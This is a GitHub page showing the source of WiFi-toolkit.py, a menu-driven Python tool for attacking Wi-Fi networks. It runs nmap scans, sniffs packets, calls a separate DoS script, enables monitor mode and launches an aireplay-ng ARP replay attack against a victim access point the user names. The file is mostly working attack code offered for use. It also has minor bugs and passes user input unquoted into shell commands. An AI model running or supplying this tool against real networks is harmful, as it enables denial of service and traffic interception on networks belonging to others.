-
Notifications
You must be signed in to change notification settings - Fork 1
/
WiFi-toolkit.py
266 lines (214 loc) · 9.48 KB
/
WiFi-toolkit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
import os
import sys
import json
import time
import scapy.all as scapy
import ipaddress
import keyboard
import colorama
import subprocess
from colorama import Fore, Style, init
from scapy.all import *
init()
def main_menu():
while True:
if not 'SUDO_UID' in os.environ.keys():
print(f"{Fore.RED}[!] Try executing JRDP_WiFi-Toolkit as root.{Style.RESET_ALL}")
exit()
os.system("clear")
ascii_art()
print(" 1. Scan WiFi for IP's ")
print(" 2. Show info about WLAN router ")
print(" 3. Sniff packets ")
print(" 4. DoS attack ")
print(" 5. ARP Request Replay Attack ")
print(" 6. Run Wireshark. ")
print(" 7. Restart wpa-supplicant. ")
print(" 8. Monitor mode menu. ")
print(" 9. Restart NetworkManager ")
print(" 10.Exit ")
choice = input("Enter your choice (1-10): ")
if choice == '1':
scan_wifi_hostnames()
elif choice == '2':
router_info()
elif choice == '3':
sniff_packets()
elif choice == '4':
DoS()
elif choice == '5':
arp()
elif choice == '6':
run_wireshark()
elif choice == '7':
restart_wpa()
elif choice == '8':
monitor_mode()
elif choice == '9':
network_manager()
elif choice == '10':
break
else:
print("Invalid choice. Please enter a number between 1 and 8.")
def scan_wifi_hostnames():
os.system("clear")
print("SCAN WIFI FOR HOSTNAMES")
print("\n1. 192.168.0.1/8")
print("2. 192.168.0.1/16")
print("3. 192.168.0.1/24")
print("4. 192.168.1.1/24")
print("5. 192.168.1.254/24")
print("6. Go to main menu.")
scan = input("Enter your choice (1-4): ")
output_file = "outputs/scan.txt"
if scan == '1':
network = "192.168.0.1/8"
elif scan == '2':
network = "192.168.0.1/16"
elif scan == '3':
network = "192.168.0.1/24"
elif scan == '4':
network = "192.168.1.1/24"
elif scan == '5':
network = "192.168.1.254/24"
elif scan == '6':
return
else:
print(f"{Fore.RED}Invalid choice. Please enter a valid option.{Style.RESET_ALL}")
return
try:
result = subprocess.check_output(["nmap", "-sn", network, "-oN", output_file], universal_newlines=True)
lines = result.split('\n')
for line in lines:
if "Host" in line and "is up" in line:
parts = line.split()
ip_address = parts[1]
hostname_start_index = line.find("(")
hostname_end_index = line.find(")")
hostname = line[hostname_start_index + 1:hostname_end_index]
print(f"{Fore.RED}Hostname: {hostname} | IP Address: {ip_address}{Style.RESET_ALL}")
print(f"{Fore.GREEN}Scan results have been saved to file: {output_file}{Style.RESET_ALL}")
except subprocess.CalledProcessError as e:
print(f"{Fore.RED}Error during scanning: {e.output.strip()}{Style.RESET_ALL}")
with open(output_file, 'w') as txt_file:
for line in lines:
txt_file.write(line + '\n')
time.sleep(1)
os.system("cat outputs/scan.txt")
hshsewe = input("Click any key to continue...")
def router_info():
result = subprocess.run(['route', '-n'], capture_output=True, text=True, check=True)
lines = result.stdout.split('\n')
gateway_info = None
for line in lines:
if line.startswith('0.0.0.0'):
gateway_info = line.split()
if gateway_info:
gateway_ip = gateway_info[1]
print("Router info:")
print(f"Router IP: {gateway_ip}")
else:
print("Cannot find any informations about router...")
shshhshs = input("Click any key to continue...")
def sniff_packets():
os.system("sudo airmon-ng")
interface = input("Select interface: ")
def packet_callback(packet):
if IP in packet:
src_ip = packet[IP].src
dst_ip = packet[IP].dst
packet_type = "Unknown"
if TCP in packet:
packet_type = "TCP"
elif UDP in packet:
packet_type = "UDP"
elif ICMP in packet:
packet_type = "ICMP"
elif DNS in packet:
packet_type = "DNS"
elif ARP in packet:
packet_type = "ARP"
print(f"Source IP: {Fore.CYAN}{src_ip:<15}{Style.RESET_ALL} {Fore.WHITE}|{Style.RESET_ALL} Destination IP: {Fore.RED}{dst_ip:<15}{Style.RESET_ALL} {Fore.WHITE}|{Style.RESET_ALL} Packet Type: {Fore.BLUE}{packet_type}{Style.RESET_ALL}")
with open('outputs/packets.txt', 'a') as file:
file.write(f"Source IP: {src_ip}, Destination IP: {dst_ip}, Packet Type: {packet_type}\n")
sniff(iface=interface, prn=packet_callback, store=0)
def DoS():
os.system("sudo python3 files/DoS.py")
def run_wireshark():
os.system("sudo wireshark")
def monitor_mode():
os.system("clear")
print("\n1.Enable monitor mode.")
print("2.Disable monitor mode.")
print("3.Back to main menu.")
ask = input(Fore.LIGHTGREEN_EX + "Select option: " +Fore.RESET)
if ask == '1':
start_monmode()
elif ask == '2':
stop_monmode()
elif choice == '3':
main_menu()
def start_monmode():
os.system("sudo airmon-ng")
interface = input(Fore.LIGHTGREEN_EX + "Select interface:" + Fore.RESET)
os.system(f"sudo airmon-ng start {interface}")
def stop_monmode():
os.system("sudo airmon-ng")
interface = input(Fore.LIGHTGREEN_EX + "Select interface:" + Fore.RESET)
os.system(f"sudo airmon-ng stop {interface}")
def list_networks():
try:
folder_path = 'files'
os.makedirs(folder_path, exist_ok=True)
file_path = os.path.join(folder_path, 'networks.txt')
with open(file_path, 'w') as file:
try:
process = subprocess.Popen(['airodump-ng', 'wlan0'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
process.wait()
output, error = process.communicate()
file.write(output.decode())
except KeyboardInterrupt:
os.kill(process.pid, signal.SIGINT)
file.write("Scan interrupted by user.")
except Exception as e:
print(f"An error occured: {e}")
def restart_wpa():
os.system("systemctl restart wpa_supplicant")
print("Successfully restarted wpa_supplicant service.")
def network_manager():
os.system("sudo systemctl restart NetworkManager")
def arp():
os.system("clear")
os.system("sudo airmon-ng")
inf = input(f"\n{Fore.RED}Select interface You want to use:{Style.RESET_ALL}")
def get_current_mac(interface):
try:
result = subprocess.check_output(["ifconfig", interface]).decode("utf-8")
mac_address_search = re.search(r"(\w\w:\w\w:\w\w:\w\w:\w\w:\w\w)", result)
return mac_address_search.group(0) if mac_address_search else None
except Exception as e:
return None
myMAC = get_current_mac(inf)
os.system("clear")
os.system(f"sudo timeout 10 airodump-ng --output-format csv -w outputs/wifi {inf}")
apMAC = input(f"{Fore.RED}Enter victim's access-point MAC address:{Style.RESET_ALL}")
os.system("clear")
os.system(f"sudo timeout 10 airodump-ng --output-format csv -w outputs/wifi {inf}")
ssid = input(f"{Fore.RED}Enter victim's WiFi network SSID:{Style.RESET_ALL}")
print("Starting ARP replay attack...")
os.system(f"sudo aireplay-ng --arpreplay -e {ssid} -b {apMAC} -h {myMAC} -x 100 {inf} > outputs/arp.txt")
time.sleep(5)
def ascii_art():
colorama.init(autoreset=True)
ascii_art = colorama.Fore.RED + """
██╗ ██╗██╗███████╗██╗ ████████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗██╗████████╗
██║ ██║██║██╔════╝██║ ╚══██╔══╝██╔═══██╗██╔═══██╗██║ ██║ ██╔╝██║╚══██╔══╝
██║ █╗ ██║██║█████╗ ██║ ██║ ██║ ██║██║ ██║██║ █████╔╝ ██║ ██║
██║███╗██║██║██╔══╝ ██║ v3.0 ██║ ██║ ██║██║ ██║██║ ██╔═██╗ ██║ ██║
╚███╔███╔╝██║██║ ██║ ██║ ╚██████╔╝╚██████╔╝███████╗██║ ██╗██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
by JRDP Team https://github.com/JRDPCN
""" + colorama.Style.RESET_ALL
print(ascii_art)
if __name__ == "__main__":
main_menu()